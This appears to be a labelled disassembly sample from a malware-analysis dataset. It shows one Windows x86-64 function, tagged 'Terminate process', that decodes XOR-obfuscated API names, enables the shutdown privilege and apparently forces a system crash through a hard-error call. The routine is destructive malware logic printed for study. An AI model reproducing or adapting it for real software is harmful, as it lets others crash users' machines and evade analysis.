Function at 0x180004810
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x180017040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm1, xmmword [0x1800120f0]
mov dl, 0x55
movd ecx, xmm1
movzx r9d, dl
movdqu xmmword [rbp + 0xf], xmm1
mov byte [rbp + 0x22], 0
mov r8b, 0x57
xor byte [rbp + 0x11], cl
movdqa xmm0, xmm1
xor byte [rbp + 0x12], cl
xor dl, cl
xor byte [rbp + 0x13], cl
xor r8b, cl
xor byte [rbp + 0x14], cl
xor r9b, cl
xor byte [rbp + 0x15], cl
mov r10b, 0x1b
xor byte [rbp + 0x16], cl
xor r10b, 0x35
xor byte [rbp + 0x17], cl
xor esi, esi
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
mov byte [rbp + 0x1f], dl
mov dl, 0x51
mov byte [rbp + 0x20], r8b
movzx r11d, dl
mov r8b, 0x59
mov byte [rbp + 0x21], r9b
movzx r9d, r8b
psrldq xmm0, 1
movzx ebx, r8b
movd eax, xmm0
movzx edi, r8b
mov byte [rbp + 0x27], 0x35
xor dl, 0x35
mov byte [rbp + 0x2d], r10b
xor al, cl
mov byte [rbp + 0x2a], dl
mov byte [rbp + 0x10], al
mov cl, 0x41
xor cl, 0x35
mov byte [rbp + 0x31], sil
mov al, 0x5b
mov byte [rbp + 0x29], cl
xor al, 0x35
lea rcx, [rbp + 0x28]
xor r8b, 0x35
mov byte [rbp + 0x28], al
xor r9b, 0x35
mov byte [rbp + 0x2b], r8b
xor r11b, 0x35
mov byte [rbp + 0x2c], r9b
xor bl, 0x35
mov byte [rbp + 0x2e], r11b
xor dil, 0x35
mov byte [rbp + 0x2f], bl
mov byte [rbp + 0x30], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm1, xmmword [0x1800120c0]
mov r8b, 0x4e
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 9], xmm1
mov rsi, rax
xor eax, eax
psrldq xmm0, 1
xor byte [rbp - 7], dl
xor byte [rbp - 6], dl
movd ecx, xmm0
xor cl, dl
xor byte [rbp - 5], dl
mov byte [rbp - 8], cl
xor byte [rbp - 4], dl
xor r8b, dl
xor byte [rbp - 3], dl
mov cl, 0x3e
xor byte [rbp - 2], dl
xor cl, 0x4a
xor byte [rbp - 1], dl
mov r10b, 0x64
xor byte [rbp], dl
xor r10b, 0x4a
xor byte [rbp + 1], dl
xor r14d, r14d
xor byte [rbp + 2], dl
xor byte [rbp + 3], dl
xor byte [rbp + 4], dl
xor byte [rbp + 5], dl
xor byte [rbp + 6], dl
mov dl, 0x2e
mov byte [rbp + 7], r8b
movzx r11d, dl
mov r8b, 0x26
mov byte [rbp + 8], al
movzx r9d, r8b
mov byte [rbp + 0x39], cl
movzx ebx, r8b
mov byte [rbp + 0x37], 0x4a
movzx edi, r8b
mov byte [rbp + 0x3d], r10b
mov al, 0x24
mov byte [rbp + 0x41], r14b
xor r9b, 0x4a
lea rcx, [rbp + 0x38]
xor al, 0x4a
mov byte [rbp + 0x3c], r9b
xor dl, 0x4a
mov byte [rbp + 0x38], al
xor r8b, 0x4a
mov byte [rbp + 0x3a], dl
xor r11b, 0x4a
mov byte [rbp + 0x3b], r8b
xor bl, 0x4a
mov byte [rbp + 0x3e], r11b
xor dil, 0x4a
mov byte [rbp + 0x3f], bl
mov byte [rbp + 0x40], dil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 0x47]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
mov rbx, rax
call rsi
lea rax, [rbp + 0x4b]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc00002b4
call rbx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3